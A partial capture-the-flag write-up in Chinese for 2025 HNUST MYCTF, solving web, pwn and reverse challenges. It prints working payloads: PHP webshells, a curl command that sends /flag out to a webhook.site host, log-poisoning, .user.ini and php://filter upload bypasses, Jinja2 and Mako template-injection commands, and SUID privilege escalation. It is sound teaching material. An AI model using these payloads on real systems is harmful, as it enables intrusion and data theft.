2025 HNUST MYCTF Writeup(partial) by Asterism

MYCTF Writeup 2025.12.13

Author: Asterism
Date: 2025.12.13


📑 目录


Web

adminGame 42pts

题目信息

项目内容
题目名称adminGame
分值42pts
难度简单
考点用户枚举、弱密码、前端源码审计

题目描述

YUNiversity无聊的时候随手写了一个小学生爱玩的游戏,但是为了防止小学生沉迷其中,他加入了管理员才能访问的防沉迷机制,据说通关就能拿到flag。

解题过程

  1. 初始访问
    打开实例,发现是一个登录页面: 登录页面

  2. 登录逻辑分析
    输入测试账号 abc / 123,提示"用户名错误",推测后端先检测用户名,再检测密码,存在用户枚举漏洞。

  3. 用户名爆破
    尝试爆破用户名,发现用户名为admin时提示"密码错误",确认admin为正确用户名。

  4. 密码爆破
    使用Burp Suite截获数据包,用Intruder模块爆破,添加字典SecLists-master\Passwords\Common-Credentials\2024-197_most_used_passwords.txt,发现密码为:qwert

  5. 登录成功
    使用账号:admin,密码:qwert登录,进入飞机大战游戏页面: 游戏页面

  6. 源码审计
    尝试通关游戏失败,Burp Suite未发现数据包,考虑前端判定。查看页面HTML,发现引入外部JS文件:<script src="game.js"></script>
    分析game.js,发现关键代码:

    // 检查通关条件(100分弹窗)
    if (score >= 100) {
        gameRunning = false;
        alert("恭喜通关!你的得分:100分!!!!不过真有人老老实实玩游戏啊,你不是黑客吗?");
        //防止找不到.ing.......TVlDVEZ7cDE0eV9nNG0zXzFzX3dyMG5nIX0=
        resetGame();
    }
    
  7. Flag获取
    发现不寻常的注释内容:TVlDVEZ7cDE0eV9nNG0zXzFzX3dyMG5nIX0=
    用Base64解码得到flag。

Flag

MYCTF{p14y_g4m3_1s_wr0ng!}

知识点

  • 用户枚举漏洞
  • 弱密码爆破
  • 前端源码审计
  • Base64解码

ezzzzrce 157pts

题目信息

项目内容
题目名称ezzzzrce
分值157pts
难度简单
考点RCE绕过、命令过滤绕过

解题过程

  1. 初始测试
    打开实例,发现一个输入框: 输入框

  2. RCE验证
    输入whoami,返回root,确认存在RCE漏洞且权限很高。

  3. 命令过滤发现
    尝试使用lscat命令,发现过滤了lscat、空格、flag等关键词。

  4. 绕过方法

    • 空格用$IFS代替
    • 使用find$IFS/命令发现flag文件位置:/flag
    • more命令和通配符*绕过:more$IFS/fla*

Flag

MYctf{We1come_t0_bri9htM0on}

知识点

  • RCE漏洞利用
  • 命令过滤绕过($IFS代替空格,通配符绕过关键词)
  • find命令文件搜索

ezrce 330pts

题目信息

项目内容
题目名称ezrce
分值330pts
难度中等
考点无回显RCE、DNSLog外带数据

解题过程

  1. 无回显发现
    网站提示:“Your command has been submitted. Results are not returned.”

  2. DNSLog外带
    使用Webhook.site作为接收端:https://webhook.site/fce7c0ec-ee24-4acb-987c-fdc568a449f3

  3. 命令测试
    测试curl命令可达性:curl${IFS}https://webhook.site/fce7c0ec-ee24-4acb-987c-fdc568a449f3

  4. 数据外带
    读取flag并外带:curl${IFS}-G${IFS}https://webhook.site/fce7c0ec-ee24-4acb-987c-fdc568a449f3${IFS}--data-urlencode${IFS}"f@/flag"

  5. Flag提取
    Webhook记录显示:MYctf%7bwh0_p0st3d_th3_b1g_bump%7d%0a
    URL解码得到flag。

Flag

MYctf{wh0_p0st3d_th3_b1g_bump}

知识点

  • 无回显RCE利用
  • DNSLog数据外带
  • curl命令使用技巧
  • URL编码/解码

babyupload 250pts

题目信息

项目内容
题目名称babyupload
分值250pts
难度中等
考点文件上传、SUID提权

解题过程

  1. 文件上传测试
    上传PHP一句话木马:<?php @eval($_POST['cmd']); ?>

  2. 蚁剑连接
    访问/uploads/payload.php,使用蚁剑连接,打开虚拟终端。

  3. 权限不足
    发现www-data权限无法读取/flag文件。

  4. SUID提权
    查找SUID文件:find / -type f -perm -u=s 2>/dev/null
    发现/usr/bin/find有SUID权限。

  5. 利用find提权
    使用命令:find . -exec cat /flag \;

Flag

MYctf{congratulations_you_found_the_hidden_flag}

知识点

  • 文件上传漏洞
  • SUID提权
  • find命令利用

ezupload 456pts

题目信息

项目内容
题目名称ezupload
分值456pts
难度中等
考点文件上传绕过、.user.ini利用

解题过程

  1. 后缀名绕过
    尝试多种PHP后缀名和绕过方法,均被拦截。

  2. 内容过滤发现
    修改后缀为txt上传,发现过滤evalphp字段。

  3. .user.ini利用
    上传.user.ini文件:

    auto_prepend_file="shell.txt"
    
  4. shell文件上传
    上传shell.txt

    <?=system('cat /flag');?>
    
  5. 访问触发
    访问/uploads/目录,自动包含执行。

Flag

MYctf{eval_1s_n0t_0n1y!}

知识点

  • 文件上传过滤绕过
  • .user.ini文件利用
  • PHP短标签使用

hardupload 928pts

题目信息

项目内容
题目名称hardupload
分值928pts
难度困难
考点严格过滤绕过、PHP封装协议

题目过滤

if (stripos($filename, 'ph') !== false) { 
    echo "你有点不老实了小子"; 
    exit; 
} 
$banned_content = ['<?php', '<','<?']; 
foreach ($banned_content as $ban) { 
    if (strpos($file_content, $ban) !== false) { 
        echo "我总不能让你肆意妄为吧"; 
        exit; 
    } 
}

解题过程

  1. 过滤分析
    文件名不能包含"ph",内容不能包含<?php<<?

  2. PHP封装协议利用
    使用.user.ini配合php://filter

    auto_append_file="php://filter/read=convert.base64-decode/resource=./payload.txt"
    
  3. Base64编码绕过
    上传payload.txt,内容为Base64编码的PHP代码:PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=
    解码后为:<?php eval($_POST['cmd']); ?>

  4. 蚁剑连接
    访问/uploads/,用蚁剑连接,找到flag文件。

Flag

MYctf{it-is-so-hard?justsoso}

知识点

  • 严格过滤绕过
  • PHP封装协议利用
  • Base64编码/解码

10G 373pts

题目信息

项目内容
题目名称10G
分值373pts
难度中等
考点文件包含、日志污染

题目源码

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
if(isset($a)&&(file_get_contents($a,true))==='I want to be a ctfer!'){
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\\^|\&|\\*|\(|\)|\-|\_|\\+|\=/i",$file)){
            die("error");
            echo "如果只会远程文件包含的话,我想你还需要再进修一下";
        }
        echo "不是吧,flag呢?";
        include($file);
    }
}else{
    echo "这都不会吗?不觉得似曾相识?";
}

解题过程

  1. 本地文件包含
    远程文件包含被禁止,考虑本地文件包含。

  2. 日志文件包含
    包含Apache访问日志:/var/log/apache2/access.log

  3. 日志污染
    在User-Agent中插入PHP代码:<?php system('ls /');?>

  4. 文件发现
    发现文件:/mingyuef14g_5ecr3t

  5. Flag读取
    修改payload:<?php system('cat /mingyuef14g_5ecr3t');?>

Flag

MYCTF{Include_1s_r3a11y_go0d!}

知识点

  • 文件包含漏洞
  • 日志污染攻击
  • PHP代码注入

1zMd5 189pts

题目信息

项目内容
题目名称1zMd5
分值189pts
难度中等
考点MD5碰撞、弱类型比较、数组绕过

题目源码

<?php  
$ming = $_GET["ming"];
$yue = $_GET["yue"];
$m = $_POST["m"];
$y = $_POST["y"];
$cmd = $_REQUEST["cmd"];
if(isset($ming) && isset($yue)){
  if($ming!==$yue&&md5($ming)===md5($yue)){
    if(is_numeric($m)!=is_numeric($y)&&md5($m)==md5($y)){
      if(preg_match("/flag/",$cmd)){
        echo "往日种种,你当真不记得了?";
        exit(); 
      }
      eval($cmd);
    }else{
    echo "?hacker,不过flag呢?";
    }
  }else{
  echo "这都不会吗?回家吧孩子";
  }
}else{
  highlight_file(__FILE__);
}
?>

解题过程

  1. 第一层绕过
    ming[]=1yue[]=2:数组MD5返回NULL,NULL === NULL成立。

  2. 第二层绕过
    m=240610708 (MD5: 0e462097431906509019562988736854)
    y=QNKCDZO (MD5: 0e830400451993494058024219903391)
    弱类型比较:0e... == 0e...

  3. 命令执行
    cmd=system("cat /fla*"); 绕过flag关键词检测。

  4. 完整请求

    POST /?ming[]=1&yue[]=2&cmd=system("cat%20/fla*"); HTTP/1.1
    Host: target
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 21
    
    m=240610708&y=QNKCDZO
    

Flag

MYCTF{1th1nk_md5is_t0o1z}

知识点

  • MD5数组绕过
  • MD5碰撞(0e开头)
  • 弱类型比较
  • preg_match绕过

你の名字 155pts

题目信息

项目内容
题目名称你の名字
分值155pts
难度简单
考点SSTI模板注入

解题过程

  1. SSTI验证
    输入{{7*7}},返回49,确认存在SSTI漏洞。

  2. Flask/Jinja2识别
    根据环境判断为Flask框架,Jinja2模板引擎。

  3. Payload构造

    {{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
    

Flag

MYCTF{y0ur_n4m3_1s_h4ck3r}

知识点

  • SSTI模板注入
  • Flask/Jinja2利用
  • Python对象链构造

你真正の名字 911pts

题目信息

项目内容
题目名称你真正の名字
分值911pts
难度困难
考点SSTI绕过、长度限制、config利用

限制条件

  • 不能包含:{{}}_
  • 长度不能超过45个字符

解题过程

  1. 长度限制绕过
    分步执行,使用config存储中间结果。

  2. payload分析

    {%print(config)%}
    {%set x=config.update(a=lipsum)%}
    {%set x=config.update(b=request.args.c)%}
    {%set x=config.update(d=config.a[config.b])%}
    {%set x=config.update(e=config.d.os)%}
    {%set x=config.update(f=config.e.popen)%}
    {%print(config.f(request.args.g).read())%}
    

    其中:c=__globals__g=cat /flag

  3. 分步执行
    通过GET参数传递payload,每次执行一步。

Flag

MYCTF{1_r3411y_1k3_c0nf1g}

知识点

  • SSTI长度限制绕过
  • Flask config对象利用
  • 分步执行技巧

ezbottle 911pts

题目信息

项目内容
题目名称ezbottle
分值911pts
难度困难
考点Mako模板注入、过滤绕过

解题过程

  1. 模板引擎识别
    通过测试确认为Mako模板引擎。

  2. 初步尝试
    使用payload:% assert False, locals()["__builtins__"]["open"]("/flag").read()

  3. 过滤绕过

    • 下划线用\137替换
    • "open""ope""n"拆分
  4. 最终payload

    % assert False, locals()["\137\137builtins\137\137"]["ope""n"]("/flag").read()
    

Flag

MYctf{a424c177-c5a5-4772-83f4-b5547bd57918}

知识点

  • Mako模板注入
  • 过滤字符绕过
  • assert函数利用

PWN

自我介绍 293pts

题目信息

项目内容
题目名称自我介绍
分值293pts
难度简单
考点栈溢出、后门函数调用

解题过程

  1. 程序分析
    main函数调用vulnerable_function函数进行输入。

  2. 漏洞发现
    vulnerable_function中,存储输入的数组长度只有64,而输入函数接收128个字符,造成栈溢出。

  3. 利用尝试
    尝试用backdoor函数地址覆盖返回地址,程序崩溃。

  4. 最终利用
    使用_libc_system("/bin/sh")函数地址覆盖返回地址,成功拿到shell。


还想溢出我 517pts

题目信息

项目内容
题目名称还想溢出我
分值517pts
难度中等
考点栈溢出、ROP链构造

解题过程

  1. 程序分析
    该题为系列题,后门函数已被删除。

  2. ROP利用
    构造ROP链,调用system函数执行/bin/sh


The way 161pts

题目信息

项目内容
题目名称The way
分值161pts
难度简单
考点迷宫算法、静态分析

解题过程

  1. 静态分析
    在IDA数据段中找到定义迷宫二维数组的数据。

  2. 迷宫求解
    整理迷宫数据,通过算法找到正确路径。


Open onion 293pts

题目信息

项目内容
题目名称Open onion
分值293pts
难度简单
考点UPX脱壳

解题过程

  1. 识别加壳
    使用file命令识别为UPX加壳程序。

  2. 脱壳处理
    直接使用upx命令脱壳:upx -d pwn_file

Writeup by Asterism - 2025.12.13